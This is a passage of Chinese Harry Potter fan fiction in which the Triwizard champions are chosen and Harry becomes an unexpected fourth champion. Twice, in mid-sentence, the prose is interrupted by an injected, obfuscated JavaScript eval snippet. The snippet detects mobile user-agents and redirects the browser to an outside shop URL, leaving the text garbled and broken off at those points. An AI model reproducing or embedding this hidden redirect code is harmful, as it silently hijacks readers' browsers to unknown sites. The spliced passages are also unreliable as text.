“你们俩对三强争霸赛有办法了吗?”早饭时,莉安问两个表弟,“还想混进去参加吗?” “我去问过麦格教授勇士是怎么选出来的,可是她不肯告诉我,”乔治怨恨的说,“她只是叫我闭上嘴巴,专心给我的浣熊变形。” “不知道争霸赛都有哪些项目?”弗雷德若有所思的说,“麦格教授说,裁判将根据勇士们完成项目的质量给他们评分。” “谁是裁判?”莉安问。 “参赛学校的校长肯定是裁判团成员,”赫敏突然说话了,大家都十分吃惊的望着她,“因为在1792年的争霸赛中,勇士们要抓的一头鸡身蛇尾怪物不受控制,横冲直撞,三位校长都受了伤。” “这些都写在《霍格沃茨,一段校史》里呢,不过,当然啦,那本书并不完全可靠,也许叫它《一部被修改的霍格沃茨校史》更加合适,或者叫它《一部带有偏见和选择性的霍格沃茨校史,学校的阴暗面被掩盖了》。” “什么?”莉安诧异的望着她,不知道她为什么对霍格沃茨如此不满。 赫敏两眼灼灼放光的说,“在长达一千多页的《霍格沃茨,一段校史》这本书里,只字不提我们都在共同压迫着一百个奴隶——家养小精灵!” 哈利摇了摇头,低头给自己盛炒鸡蛋,莉安有样学样,不敢说话,她怕赫敏喋喋不休的批判她——因为她真的有家养小精灵。 她更不想加入赫敏的S.P.E.W.组织——家养小精灵解放阵线,如果赫洛知道她要被自己解雇了,估计会一头撞死在祖宅的大门上。 哈利和罗恩花钱买消停,购买了她的徽章,但赫敏不仅没有因此安静下来,反而吵闹得更厉害了,她每天晚上在格兰芬多的公共休息室里喋喋不休、不依不饶的缠着别人,拿着储钱罐在别人鼻子底下使劲摇晃着。 “你有没有意识到,给你换床单,给你生火,给你打扫教室,给你煮饭烧菜的,都是一群没有工钱、受到奴役的神奇生物啊!”她很厉害的缠着别人说。 此刻,罗恩正冲着向他们洒下秋日阳光的天花板翻着眼睛,弗雷德和乔治突然对桌子上的熏咸肉产生了浓厚的兴趣——他们两个都不肯购买S.P.E.W.徽章。 莉安在赫敏的目光投过来之前,匆匆把橘子汁倒进嘴里,离开了礼堂,今天上午她没有课,打算去黑湖边练习守护神咒。 守护神咒大大高于N.E.W.Ts水平,但是如果在考试时展示这个咒语,可以额外加分,莉安已经练习几个月了。 “Expecto patronum! ” 她的魔杖末端突然飞快的喷出一缕银色气体,但是仍然没有成形。 莉安搜肠刮肚的想着一些快乐的回忆,但是不知道为什么,回忆起比尔时,她的快乐仿佛蒙上了一层阴影,带着酸涩的意味。 她叹了口气,继续回忆,但小巴蒂那张邪肆的脸不断跳出来,得意洋洋的冲她挑眉。 “走开!你这个神经病!”莉安厌烦的说。 小巴蒂又对她吹了声口哨,敞开自己的领口,活像个老流氓。 莉安深吸一口气,她屈服了,对这个狗男人屈服了,她回忆了一下他们共度的一个星期,他抱着自己睡觉的那些夜晚,他的手滑过她皮肤的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727474|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触感,他磁性的声音和苦艾酒的气味儿… “Expecto patronum! ” 突然,一个灵巧的银色影子从她的魔杖末端射了出来,不再是不成形的雾状物,而是一只令人炫目的银色动物。 她眯起眼睛,努力看清楚那是什么,看上去像是一只毛茸茸的小动物,它离开了她,轻巧的踏过黑色的湖面疾驰而去,围绕着草地一圈圈的跑着。 没一会儿,那守护神转过身,越过平静的水面向着她慢跑回来,它不是狗,也不是豹子,它是一只猫。 它全身发亮,像月亮一样,它在向她跑来…它在岸边停住了。 它的爪子在软泥地上没有留下痕迹,那双银色的大眼睛看着它的主人,莉安敏锐的发现了它脸上和胸口有奇怪的分界线,就像它真的有绒毛那样——这代表了它的毛色可能不同寻常,等它突然抬起两个前爪,像人一样立起来,风骚的围着她跳了一段扭屁股的踢踏舞,于是莉安明白了… 奶牛猫! 她目瞪口呆的看着自己的奶牛猫守护神用高难度姿势跳完奇形怪状的舞蹈,两只前爪抱着她亲昵的蹭了蹭她的腿,直到它消失不见,她才浑身瘫软的倒在草地上。 她的守护神果然是小巴蒂那个神经病!他亲口承认如果他是阿尼马格斯,那必然是奶牛猫! 这一刻,莉安绝望的发誓,就算N.E.W.Ts的考官怎么承诺她加分,无论加多少分,她都不会使用守护神咒,以后也不会再用这个咒语,绝不! 在城堡走廊偷看的穆迪:啊哈哈哈哈哈哈哈! 傍晚时,空气里弥漫着一种有所期待的喜悦情绪,当铃声早早的敲响后,莉安赶回格兰芬多塔楼,放下书包和课本,穿上斗篷,和双子下了楼梯,来到门厅。 等所有人集合后,他们鱼贯走下台阶,排着队站在城堡前面,这是一个寒冷的、空气清新的傍晚,夜幕正在降临,一轮洁白的、半透明的月亮已经挂在了禁林上空。 在布斯巴顿的飞天马车和德姆斯特朗的湖底大船炫目出场后,众人跺了跺冷得僵硬的脚,回了礼堂参加宴会。 李·乔丹在她旁边踮着脚跳上跳下,想把今年世界杯大出风的找球手威克多尔·克鲁姆的背影看得更清楚一些,而几个六年级女生一边走一边发疯似的在口袋里翻找着什么,似乎是想要个签名。 他们走到格兰芬多的桌子旁坐了下来,布斯巴顿的同学选择了拉文克劳桌子旁的座位,而德姆斯特朗在斯莱特林桌子旁落座了。 教授们坐下之后,邓布利多站了起来,礼堂里渐渐安静了。 “晚上好,女士们,先生们,鬼魂们,还有,特别是——贵宾们,”邓布利多说,笑眯眯的望着那些外国学生,“我怀着极大的喜悦,欢迎你们来到霍格沃茨,我希望并且相信,你们在这里会感到舒适愉快的。” 一个布斯巴顿的女生用围巾紧紧裹着脑袋,发出一声冷笑。 “又没有人强迫你们留下来!”赫敏小声说,她被那个女生惹恼了。 “争霸赛将于宴会结束时正式开始,”邓布利多说,“我现在邀请大家尽情的吃喝,就像在自己家里一样!” 他们面前的盘子堆满了食物,莉安这是第一次在霍格沃茨看到如此丰盛的菜肴,五花八门的摆在他们面前,其中有几样是法国菜。 “这是什么?”乔治在自己盘子里装了一些海鲜大杂烩。 “法式杂鱼汤,”莉安说,“姑妈没做过吗?普威特可是来自法国的家族啊…” “没有,”乔治说,“这一看就很费事。” “而且也很贵,看看这些鱼…”弗雷德说。 “味道很鲜美吧?”莉安一脸期待的看着他们。 “的确不错。” 就在这时,一个声音说道,“请原谅,这盘杂鱼汤你们还吃吗?” 正是刚才邓布利多说话时冷笑的那个布斯巴顿女生,她摘掉了围巾,一头长长的瀑布似的银亮头发垂到她的腰际,那双湛蓝色的大眼睛和一口洁白整齐的牙齿闪闪发亮。 “好吧,你端去吧。”哈利说,把盘子推给了那个女生。 那女生小心翼翼的端着盘子,走向拉文克劳的桌子。 “她是个媚娃!”罗恩嘶哑着声音说。 “肯定不是!”赫敏尖刻的说。 但当那女生在礼堂里穿行时,许多男生都转过脑袋望着她,其中有几个似乎一时间变得不会说话了。 “应该是有媚娃血统,”莉安低声说,“你们两个比罗恩强不少,我很欣慰。” 弗雷德嬉皮笑脸的说,“没办法,世界杯的时候看到了媚娃变成原型,那个鸟嘴让我印象深刻。” “快看,又有人来了。”乔治说。 莉安转头望去,卢多·巴格曼和老巴蒂·克劳奇在教师席落座了。 食物消失后,邓布利多再次站了起来,一种又兴奋又紧张的情绪似乎在礼堂里弥漫着,莉安注意到,弗雷德和乔治探着身子,十分专注的盯着邓布利多,她皱了皱眉,知道这两个活宝表弟又在打什么鬼主意。 “这个时刻终于到来了,”邓布利多微笑着说,“三强争霸赛就要开始了,我想先解释几句,再把盒子拿进来。” “首先请允许我介绍两位来宾,这位是巴蒂·克劳奇先生,魔法部国际合作司司长,”礼堂里响起了稀稀落落的掌声,“这位是卢多·巴格曼先生,魔法部体育运动司司长。” 莉安看着老巴蒂·克劳奇,他既没有微笑,也没有像巴格曼那样挥手,猜测可能是小巴蒂的夺魂咒仍在起作用。 “他们将和我、两位校长一起,组成裁判团,对勇士们的努力做出评判,”邓布利多继续说道,“费尔奇先生,请把盒子拿上来。” 费尔奇朝邓布利多走去,手里捧着一只镶嵌着珠宝的大木盒子。 “今年勇士比赛一共有三个项目,分别在整个学年的不同时间进行,你们已经知道了,将有三位勇士参加比赛,”邓布利多平静的说,“分别代表一个参赛学校,我们将根据他们完成每个比赛项目的质量给他们评分,三个项目结束后,得分最高的那位勇士将赢得三强杯,负责挑选勇士的是一位公正的选拔者,它就是火焰杯。” 邓布利多拔出魔杖,在盒子盖上敲了三下,盖子吱吱嘎嘎的打开了,他从里面掏出一只大大的、粗糙的木头高脚杯,杯子里面满是跳动着的蓝白色火焰。 “每一位想要竞选勇士的同学,都必须将他的姓名和学校名写在一片羊皮纸上,扔进火焰杯里,”邓布利多说,“有志成为勇士者可在二十四小时内报名,明天晚上,火焰杯将选出它认为最能够代表三个学校的三位同学的姓名,今晚它就放在门厅里,所有愿意参加竞选的同学都能接触到它。” “为了避免不够年龄的同学经不起诱惑,等高脚杯放在门厅后,我要在它周围画一条年龄界线,任何不满十七周岁的人都无法越过这条界线。” “最后,我必须提醒,这场争霸赛不是儿戏,一旦勇士被火焰杯选定,他就必须将比赛坚持到底,谁把自己的名字投进杯子,实际上就形成了一道必须遵守的、神奇的契约,一旦成为勇士,就不允许再改变主意,因此,请千万三思而行,弄清自己确实一心一意想参加比赛,再把名字投进杯子,好了,我认为大家该睡觉了,祝大家晚安。” “年龄界线!”弗雷德两眼发光,“那好办,肯定能被增龄剂蒙骗住的,是不是?只要名字进了那个杯子,那就开心的笑吧,它可分不出谁满十七岁,谁不满十七岁!” 这时学生们都穿过礼堂,朝通往门厅的那两道门走去。 莉安注意到,卡卡洛夫和穆迪站在门口,卡卡洛夫有些恐惧,而穆迪一直瞪着他,直到看不见了为止,他那只带魔法的眼睛死死盯着卡卡洛夫的背影,残缺不全的脸上露出一种极端反感的表情。 但在看到她时,穆迪的脸色又柔和下来,露出一个可以称得上是微笑的表情,他粗声粗气的说,“孩子,快点儿回去睡觉吧,明天…我知道你会成功的。” 穆迪不加掩饰的喜爱并没有让其他人觉得尴尬或者意外,了解十几年前那场巫师战争的人都知道普威特是英雄傲罗,比如教授们,而其他同学知道莉安在跟随穆迪学习高深的咒语,为成为傲罗做准备,便也见怪不怪。 莉安对他笑了笑,等路过他身边时,穆迪突然低声说话了。 “守护神不错,孩子,你还这么年轻,就掌握了这个高深的咒语。” 莉安:……救命啊! 他到底有没有看到奶牛猫风骚的舞蹈啊! 她捂着脸,飞快的跑上了大理石阶梯。 穆迪:嘿嘿!又害羞了! 9. 勇士 第二天是星期六,莉安在床上羞耻了一会儿,给自己打气,决定当做无事发生过、她从来没有学会过守护神咒那样,安慰了自己好半天,才穿好衣服爬出休息室。 下楼吃早饭时,她走进门厅,看见二十多个人围在那里,有几个还在吃着面包片,他们都在仔细打量着火焰杯,杯子放在门厅中央,地板上画了一道细细的金线,每边都有十英尺长,把杯子围在中间。 “有人把名字投进去了吗?” “有,德姆斯特朗的所有代表,但还没有看见霍格沃茨有谁报名。” “准有人趁我们昨晚睡觉时把名字投了进去。” 莉安听到了他们的议论声,莞尔一笑,把写着Rihan Prewett——Hogwarts的羊皮纸条投进了杯子里,蓝白色的火焰突然转成红色,爆出一阵小火花。 众人的议论声突然停一瞬,大家用敬佩又畏惧的眼神看着她,然后他们议论的更响了,还有人鼓掌,对她大声喝彩。 突然什么人大笑起来,她回头一看,只见双胞胎和李·乔丹匆匆走下楼梯,三个人都显得极为兴奋。 “成了,”弗雷德以一种得意的口吻小声的说,“刚喝下去。” “果然还是增龄剂?”莉安问。 “是啊,每人喝了一滴,”乔治喜悦的搓着双手说道,“我们只需要再长大几个月。” “如果我们有谁赢了,那一千个加隆得三个人平分。”李说,脸上笑得开心极了。 “祝你们好运。”莉安摇了摇头,她可不认为邓布利多是好糊弄的人。 双子满意的点头,他们就喜欢表姐帮他们背锅还从来不扫兴的品质! “准备好了吗?”弗雷德激动得浑身颤抖,对另外两个人说,“那么,来吧,我先进去。” 他掏出一张写着Fred Weasley——Hogwarts的羊皮纸条,径直走到年龄线的边缘,站在那里,踮着脚尖摇摆着,然后,在门厅里每一双眼睛的注视下,他深深的吸了口气,跨过了那道线。 一刹那间,乔治也得意的大喊一声,跟着弗雷德往前一跳——可是,紧接着就听见一阵咝咝的响声,双胞胎被抛到了金圈外面,就好像有一双看不见的手把他们扔了出来似的,他们痛苦地摔在十英尺之外冰冷的石头地面上,而且他们在□□的疼痛之外还受到了羞辱,随着一声很响的爆裂声,两个人的下巴上冒出了一模一样的长白胡子。 门厅里的人哄堂大笑,就连弗雷德和乔治爬起来,看到对方的白胡子后,也忍不住哈哈大笑起来。 “我提醒过你们。”一个低沉的、被逗乐了的声音说道,大家转过头来,看见邓布利多教授正从礼堂里走出来。 他打量着双子,眼睛里闪着光芒,“我建议你们俩都到庞弗雷夫人那里去一趟,她已经在护理拉文克劳的福西特小姐和赫奇帕奇的萨默斯先生了,他俩也是打定主意要让自己的年龄增加一点儿,不过我必须说一句,他俩的胡子远远不如你们的漂亮。” 弗雷德和乔治动身去医疗翼了,李·乔丹逃过一劫,嗬嗬的笑个不停,莉安也忍俊不禁,进礼堂吃早饭了。 这天早晨,礼堂的装饰又有了变化,因为是万圣节,一大群活蝙蝠绕着施了魔法的天花板飞来飞去,同时还有几百只南瓜雕成的小人儿在每个角落里斜眼望着大家。 格兰芬多长桌上,很多低年级的学生都在议论那些可能参加争霸赛的十七周岁以上的霍格沃茨同学,莉安拿了一碗粥,一边听他们说话,一边美美的吃着熏鱼。 “有人说,沃林顿一大早就起来了,把他的名字投了进去,就是斯莱特林的那个大块头,长得活像个树懒。” 格兰芬多和沃林顿交手打过魁地奇的球员们听了这话,都厌恶的摇了摇头。 “我们可不能让一个斯莱特林的同学当勇士!” “赫奇帕奇的同学们都在议论迪戈里,不过在我看来,他大概不会愿意拿自己的俊模样儿冒险。” 外面的门厅里突然传来一阵喝彩,大家都在座位上转过身子,只见安吉利娜·约翰逊走进礼堂,有点不好意思的咧嘴笑着,她是一个高挑个儿的黑皮肤姑娘,在格兰芬多魁地奇队当追球手。 安吉利娜走到他们这边,坐下来说道,“呀,我办成了!我把我的名字投进去了,我上星期过的生日。” “啊,我真高兴,格兰芬多已经有两个人参加了,”赫敏说,“我真心希望你们能成功,安吉利娜!莉安!” “谢谢,赫敏。”安吉利娜说着,朝赫敏微微一笑。 莉安惯常面无表情,对赫敏点了点头。 “是啊,宁愿是你们,也不要那个奶油小生迪戈里。”一个学生说,他的话引得经过他们桌子的几个赫奇帕奇学生怒气冲冲的瞪着他。 吃完饭,莉安离开礼堂,准备去找穆迪时,布斯巴顿的学生们正从场地上穿过前门进来,那些围在火焰杯周围的人往后退了退,让他们通过,并且热切的注视着。 布斯巴顿的校长马克西姆夫人跟在她的学生后面走进门厅,吩咐她们排成一队,布斯巴顿的学生们一个接一个的跨过年龄线,把羊皮纸条投进蓝白色的火焰,每个名字扔进火里时,火焰都迅速转成红色,并迸出点点火星。 那个很像媚娃的姑娘把她的羊皮纸条投进火焰杯时,突然转过头来打量她,目光有点冒犯,把她从头到脚仔仔细细的看了一遍,莉安对她冷淡又不失礼貌的微微颔首。 当布斯巴顿的学生一个个都报了名后,马克西姆夫人领着她们出了门厅,又回到外面的场地上,钻进了她们来时乘坐的那辆巨大的粉蓝色马车,拉马车的那几匹大象般巨大的飞马正在马车旁边一个临时圈起的围场里吃草。 今天穆迪难得给莉安放了个假,没有训练什么咒语,因为她最近开始成功抵抗夺魂咒了,虽然十次里面最多抵抗个三四次,但穆迪觉得很满意。 “夺魂咒只能靠意志力抵抗,但是如果对某一个人施此咒过多的话,就会产生抗性,从而削弱咒语的威力。” 穆迪坐在办公桌前批改七个年级的黑魔法防御术作业,但他可以一心二用,仍然在给莉安讲一些理论知识。 “是不是还有些副作用?”莉安纠结的问,“比如,如果被夺魂咒控制的时间很长,会不会影响精神?影响程度又有多大呢?” 穆迪的羽毛笔顿了顿,没有回头,只是淡淡的问了一句,“当然,但时间很长指的是多长?” “如果是十三年呢?” “我想这个人已经疯了,或者死了,十三年的夺魂咒…不敢想象…不可思议…哼,大概只有黑巫师才会这么残忍。” “还有办法治疗吗?”莉安连忙追问,“如果带他去圣芒戈的话,会不会有恢复的可能?” 穆迪仿佛在压抑巨大的愤怒,呼哧呼哧的喘了一会儿,才冷静的说,“我不知道,因为没有哪本书上说过,被施了十三年夺魂咒的下场是什么,就算有这样可怜的家伙存在,你又把他救了出来,恐怕他也活不了多久,没几天就会死掉。” 莉安怔怔的坐在椅子上,噼里啪啦的掉起了眼泪,她双手捂住脸,眼睛就像两个坏了的水龙头,滚烫的眼泪从指缝里流出,她的鼻子也阻塞了,眼泪却止不住。 “孩子?”穆迪转过身看她,“哭什么呢?” 他一瘸一拐的起身,想用一张皱巴巴的手帕帮她擦眼泪,但莉安只是捂着脸呜咽,穆迪不想强行掰开她的手,只好叹息一声,在她旁边坐了下来。 “喝杯茶?” “吃点心?” 但莉安一直没有说话,她心里充满了恐惧。 她怕小巴蒂是死了,他知道他要死了,所以离开了她,不让她看到他的尸体,他体贴的决定出去死,死在无人的角落,这样就算有人发现了他的尸体,也不会牵连到她。 他怎么能这么坏呢?都快要死了还让她给他留灯,他很喜欢她的枝形吊灯,不是吗?每次她嫌灯光刺眼的时候,他又会妥协,于是房间里只剩窗边一盏淡蓝色的、像星球一样的熔岩灯亮着。 那是他很喜欢的小夜灯。 他是那种有使用夜灯习惯的人吗?也许他更喜欢昏暗微弱的白炽灯光,或者是来自附近麻瓜路标的反射光?蜡烛? 梅林保佑,别,别是蜡烛,如果他还活着,他还能回家,莉安·普威特永远都会开着枝形吊灯,永远都有一盏星球熔岩灯! 啊…在熔岩灯的灯光下和他接吻、睡觉… 她知道自己正在失去理智,英雄的女儿和罪大恶极的食死徒怎么能相爱呢?她希望能找到力量不再寻找他,永远不再想给他写信,但也许她应该写信,不是为了说什么,而是提醒他,他还没有离开她的生活,没有完全离开她的生活。 她想,要不就再写一次信,问闪闪他今天回来了吗?然后不再管会不会收到回信,但是她了解自己:给他写完信,发现没有那么难,就很想再写一次。 这可能是以前他玩弄过的女生会做的事情,第一次写信花了很久的时间做心理建设,第二次就会很快,然后就每天都想给他写信。 如果他想她,如果他还活着,他会回来的,如果他不回来,那么,要么他死了,要么他不打算玩这个游戏了,他像腻味一个玩够了的布娃娃一样腻味了她。 这就是小巴蒂·克劳奇,她早该知道的,在他十三年前闯进她房子里时,她就该知道。 他是草率、恶劣、漫不经心、喜新厌旧的小巴蒂·克劳奇。 她专心的哭泣着,没注意到旁边干巴巴安慰自己的穆迪露出了一个阴险邪恶的笑容。 穆迪:嘿嘿!她肯定是在为我哭,她好爱我! 到了下午三四点钟的时候,天下起了小雨,穆迪弹了弹手指,壁炉的木柴燃烧起来,莉安坐在温暖的炉火边,听着雨点轻轻敲打玻璃窗,一边担心会不会打雷,一边看着穆迪整理他的办公桌。 “你有信心吗?莉安,”他轻声的说,“成为勇士,让普威特重返在魔法界的地位,但是不得不说,这代表着危险,极度危险。” “可是我必须这么做,”莉安说,“普威特和勒洛伊家族就只剩下我一个人了。” “是啊,是啊,我知道,法国的纯血家族,勒洛伊,非常神秘…可惜已经失去了所有的继承人,”穆迪转过头,那只魔眼盯着她,“你有没有再回法国去呢?也许那里还留下了什么重要的东西,而你母亲来不及告诉你。” 莉安思索了片刻,摇了摇头,“我的确没再回去过,我想毕业后,我应该会回去一趟,只有我才能凭血脉解开勒洛伊老宅的防护咒。” “那是个以诡秘的法术闻名的家族,就像普威特那样骁勇,有传闻说,勒洛伊的祖先是麻瓜皇帝查理曼的圣骑士托宾——仅次于梅林的大魔法师,啊,或许你应该也知道,梅林也曾帮助亚瑟王,我认为,那时和麻瓜来往是很明智的事,虽然那些自诩高贵的纯血统对此十分鄙夷,当然——纯血高人一等纯属无稽之谈。” 莉安没想到穆迪居然还知道自己母系家族的历史,等穆迪开始讲查理曼大帝的十二圣骑士,又说他们并非什么宗教人士,而是查理曼的近卫部队和近身侍臣,并且大部分都是强大的古代魔法师时,听得有些入迷了。 五点半钟的时候,天渐渐黑了,穆迪觉得应该返回城堡参加万圣节的宴会——更重要的是参加学校勇士的宣布仪式,于是莉安等他穿戴好假腿,跟着他离开了办公室。 天色已经很黑,经过吹着穿堂风的走廊时,穆迪的脚步声一顿,他一瘸一拐的转过身,把她的斗篷裹得更紧了一些,这才继续往前走。 当他们走进烛光映照的礼堂时,里面几乎坐满了人,火焰杯已经被挪了地方,它此刻立在教师席上邓布利多的那张空椅子前面。 弗雷德和乔治的下巴又光溜溜的了,似乎已经欣然接受了他们的失败。 “真希望是安吉利娜。”当莉安坐下时,弗雷德说。 “不希望是我吗?”莉安瞪了他一眼,“重色轻友!以后别想让我给你们打掩护!” “我希望是你!”乔治咯咯笑着。 弗雷德这才回过神来,“当然,你跟安吉丽娜谁都可以,就是不要让斯莱特林那个大猩猩得逞。” 万圣节晚宴的时间似乎比往常要长得多,莉安继续享受美味的法国菜,只觉得英国菜难吃的要死,荼毒了她的胃这么多年。 大部分同学都有点心不在焉,他们不断引颈眺望,每一张面孔上都露出焦急的神情,坐立不安,还有人时不时站起来看看邓布利多是不是吃完了,都想赶紧知道究竟是谁被选为勇士。 终于,金色的盘子又恢复到原来一尘不染的状态,礼堂里的声音突然升高了许多,邓布利多站了起来,礼堂里顿时又变得鸦雀无声。 他两边的卡卡洛夫校长和马克西姆夫人看上去和大家一样紧张、满怀期待,卢多·巴格曼满脸带笑,而老巴蒂·克劳奇则是一副兴味索然的样子,简直可以说是有些厌烦。 莉安看他一点儿也没有反常的样子,终于松了口气,看来小巴蒂没死,不然他死了,他对老巴蒂·克劳奇施的夺魂咒便会失效。 所以这个狗男人只是腻味了她,把她甩开了而已! “好了,火焰杯就要做出决定了,”邓布利多的话打断了她的沉思,“我估计还需要一分钟,听着,勇士的名字被宣布后,我希望他们走到礼堂顶端,再沿着教师席走过去,进入隔壁的那个房间。” 他指了指教师席后面的那扇门,“他们将在那里得到初步指导。” 他掏出魔杖,大幅度的挥了一下,即刻,除了南瓜灯里的那些蜡烛,其余的蜡烛都熄灭了,礼堂一下子陷入了一种半明半暗的状态。 火焰杯现在放出夺目的光芒,比整个礼堂里的任何东西都明亮,那迸射着火星的蓝白色火焰简直有些刺眼,大家都注视着,等待着…几个人不停的看表… “快了。”李·乔丹小声的说。 火焰杯里的火焰突然又变成了红色,噼噼啪啪的火星迸溅出来,接着,一道火舌蹿到空中,从里面飞出一片被烧焦的羊皮纸——礼堂里的人全都屏住了呼吸。 邓布利多接住那片羊皮纸,举得远远的,这样他才能就着火焰的光看清上面的字,火焰这时又恢复了蓝白色。 “德姆斯特朗的勇士,”他用清楚而有力的口吻说,“是威克多尔·克鲁姆。” 掌声和欢呼声席卷了整个礼堂,威克多尔·克鲁姆从斯莱特林的桌子旁站起来,没精打采的朝邓布利多走去,他向右一转,顺着教师席往前走,从那扇门进了隔壁的房间。 “太棒了,威克多尔!”卡卡洛夫声如洪钟的吼道,尽管礼堂里掌声很响,大家也能听见他的声音,“我知道你注定就是勇士!” 掌声和交谈声渐渐平息了,现在每个人的注意力再次集中在火焰杯上,几秒钟后,火苗又变红了,第二张羊皮纸在火焰的推动下,从杯子里蹿了出来。 “布斯巴顿的勇士,”邓布利多说,“是芙蓉·德拉库尔!” 只见那个酷似媚娃的姑娘优雅的站起来,甩动了一下她那银色的柔顺长发,轻盈的从拉文克劳和赫奇帕奇的桌子之间走过去。 “哦,瞧,她们都很失望呢。”赫敏在一片喧哗声中说道,一边朝布斯巴顿的其他代表点了点头。 失望这个词用得太轻了,两个没被选中的姑娘泪流满面,把脑袋埋在臂弯里,伤心的哭了。 当芙蓉·德拉库尔也进了隔壁的房间后,礼堂里又安静下来,这次的寂静里涌动着简直可以品尝到的强烈的兴奋,下面就要轮到霍格沃茨的勇士了。 这时,火焰杯再次变成红色,火星迸溅,火舌高高的蹿入空中,邓布利多从火舌尖上抽出第三张羊皮纸。 “霍格沃茨的勇士,”他大声说道,“是莉安·普威特!” 格兰芬多桌子上的欢呼声简直震耳欲聋,每个同学都在跳上跳下,尖叫、跺脚,尤其是韦斯莱双子,他们笑得合不拢嘴,拍了拍莉安的后背,又拉着她起身。 莉安微微颔首,冷淡的脸上没什么表情,朝教师席后面的那个房间走去,等她进了房间里,还能听到给她的喝彩持续了很长时间。 这是一个小房间,两边的墙上都挂着巫师的画像,在她对面的壁炉里,炉火燃得正旺。 她和威克多尔·克鲁姆、芙蓉·德拉库尔围在炉火边,克鲁姆倚靠着壁炉台,躬着腰仿佛在沉思着什么,大概是因为都是女生的缘故,芙蓉距离她更近一些,三人默默的发着呆。 过了一会儿,外面的礼堂传来一阵嗡嗡声,好像无数只愤怒的蜜蜂在鸣叫,然后,嗡嗡的议论声越来越响了,当哈利走进来时,莉安诧异的看着他,芙蓉甩了甩瀑布般的银色长发。 “怎么啦?”她问,“他们要我们回礼堂去吗?” 后面传来一阵忙乱的脚步声,巴格曼走进了房间,他一把抓住哈利的胳臂,拉着他往前走。 “太离奇了!”他使劲捏着哈利的胳膊,低声念叨,“绝对是太离奇了!” “二位女士…先生,”他走向炉边,对莉安三个人说,“请允许我介绍一下,尽管这显得很不可思议——这是三强争霸赛的第四位勇士!” 克鲁姆挺直身子,脸上露出阴沉的表情,莉安已经恢复了平静。 她早就知道,自从哈利·波特来霍格沃茨读书后,每年都会搞出一堆名堂,给她平淡的校园生活带来各种新奇刺激的体验,今年当然也不例外,他总会引起各种离奇事件,然后一直在风暴的中心! 芙蓉甩了甩长发,嫣然一笑,“哦,这个玩笑很有趣,巴格曼先生。” “玩笑?”巴格曼重复了一句,“不,不,绝对不是!哈利的名字从火焰杯里喷了出来!” 莉安已经见怪不怪了,表情十分淡定,但克鲁姆的两道浓眉微微蹙了起来,芙蓉一副困惑的样子。 “可是这显然是弄错了,”她高傲的说,“他不能比赛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727475|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他年纪太小了。” “是啊…确实令人诧异,”巴格曼揉着下巴,笑眯眯的说,“可是,你们也知道,年龄限制作为额外的安全措施,只是今年才实行的,既然他的名字从火焰杯里喷了出来…我的意思是,我认为既然已经到了这一步,就不允许临阵脱逃了…规定里写得很清楚,你们必须遵守…哈利要尽他最大的努力——” 门又被推开了,一大群人拥了进来:邓布利多后面紧跟着老巴蒂·克劳奇、卡卡洛夫、马克西姆夫人、麦格教授和斯内普教授。 “马克西姆夫人!”芙蓉大步朝她的校长走去,“他们说这个小男孩也要参加比赛!” “这到底是什么意思,邓布利多?”马克西姆夫人傲慢的说。 “我也想知道这一点,邓布利多,”卡卡洛夫脸上带着冷冰冰的微笑,“为什么霍格沃茨有两位勇士?我不记得有人告诉过我,说主办学校可以有两位勇士,难道那些章程我看得还不够仔细?” “这不可能,”马克西姆夫人说,莉安听懂了她的法语,“霍格沃茨不能有两位勇士,这不公平。” “在我们的印象里,你的那道年龄界线是能把不够年龄的竞争者排除在外的,邓布利多,”卡卡洛夫眼睛里的寒意更深了,“不然,我们肯定也会从我们学校带来更多的候选人的。” “这件事只能怪波特,卡卡洛夫,”斯内普轻声说,眼睛里闪着敌意,“不要责怪邓布利多,都怪波特执意要违反章程,他自从进校以后,就不断违反校规——” 莉安冷冷的看着斯内普,思索着怎么避开邓布利多把这个逃脱在外的食死徒送进阿兹卡班,自从她入学,斯内普就不断的针对她,并且不仅仅是针对她,而是无差别的针对所有格兰芬多,仿佛是格兰芬多不让他洗头发似的。 “谢谢你了,西弗勒斯。”邓布利多斩钉截铁的说,斯内普闭上了嘴巴,但他的眼睛仍然透过油腻腻的黑发闪出恶意的光芒。 “你有没有把你的名字投进火焰杯,哈利?”邓布利多平心静气的问。 “没有。”哈利说,斯内普不耐烦的发出一种表示不相信的声音。 “你有没有请年纪大一点儿的同学帮你把名字投进火焰杯?”邓布利多教授不理睬斯内普,继续问道。 “没有。”哈利激动的说。 “他肯定在撒谎!”马克西姆夫人大声说,斯内普摇了摇头,噘起了嘴唇。 “他不可能越过那道年龄线,”麦格教授严厉的说,“我相信这一点我们大家都同意——” “邓布利多的那道线肯定弄错了。”马克西姆夫人耸了耸肩膀。 “当然,这也有可能。”邓布利多礼貌的说。 “邓布利多,你明知道你并没有弄错!”麦格教授气愤的说,“这种说法多么荒唐!哈利自己是不可能跨越那道线的,而且正如邓布利多教授相信的那样,哈利也没有让高年级学生替他这么做,我认为其他人也应该相信这一点!” 她非常生气的瞪了斯内普一眼。 “克劳奇先生,巴格曼先生,”卡卡洛夫的声音变得油滑起来,“你们二位是客观的裁判,你们肯定也认为这件事是极不合适的,是吗?” 莉安注意到,老巴蒂·克劳奇站在炉火的光圈外面,他的脸一半隐藏在阴影中,显得有点儿怪异,那半边黑影使他苍老了许多,看上去简直有点儿像个骷髅。 